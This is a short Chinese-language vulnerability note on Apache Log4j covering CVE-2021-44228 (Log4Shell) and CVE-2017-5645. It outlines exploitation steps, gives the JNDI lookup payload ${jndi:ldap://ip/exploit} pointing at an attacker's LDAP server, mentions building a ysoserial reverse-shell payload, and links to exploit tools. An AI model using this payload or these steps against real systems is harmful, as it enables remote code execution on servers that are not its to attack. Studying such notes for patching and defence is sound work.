一、介绍

1、简介

```
    Apache Log4j是Apache基金会下的一款基于Java的日志记录工具
```

2、指纹

```
    Java 8
```

二、漏洞

1、命令执行 2021.12.09

```
# CVE编号
    CVE-2021-44228
```

```
# 影响版本
    Apache Log4j2 <= 2.14.1
```

```
# 利用方式
    1、找到网站服务器记录日志的位置，且记录的部分内容可控
    2、搭建LDAP服务器，目录中存放包含恶意代码的类
    3、构造EXP触发服务器进行日志记录，Lookup表达式经过解析后并触发JNDI解析
    4、解析结果定位到搭建的恶意服务器，导致目标服务器访问并触发恶意代码
```

```
# 参考链接
    1、工具：https://github.com/su18/JNDI
    2、利用：https://github.com/vulhub/vulhub/blob/master/log4j/CVE-2021-44228/README.zh-cn.md
    3、原理：https://blog.csdn.net/Koikoi12/article/details/121906895
```

```
# 漏洞原理
    1、相关概念
    Lookup：搜索，在输出日志时允许搜索对象
    JNDI注入：Java Naming Directory Interface，Java命名和目录接口，类似于一个字典的文件系统，可通过名字找到指定的对象
    LDAP：Lightweight Directory Access Protocol，轻量级目录访问协议，可以通过该协议加载指定网络位置的资源

    2、利用步骤
    通过向Log4j2记录日志的字段中（如UA头），加入Lookup表达式${jndi:ldap://ip/exploit}，即可通过JNDI加载LDAP协议中的远程资源，如果这个远程资源为一个攻击者构造的恶意类，那么经过lookup解析，就会执行攻击者想要执行的命令
```

2、反序列化 2017.04.18

```
# CVE编号
    CVE-2017-5645
```

```
# 影响版本
    Apache Log4j < 2.8.2
```

```
# 利用方式
    ysoserial生成反弹shell payload，监听端口
```

```
# 参考链接
    https://blog.csdn.net/shuteer_xu/article/details/108656519
```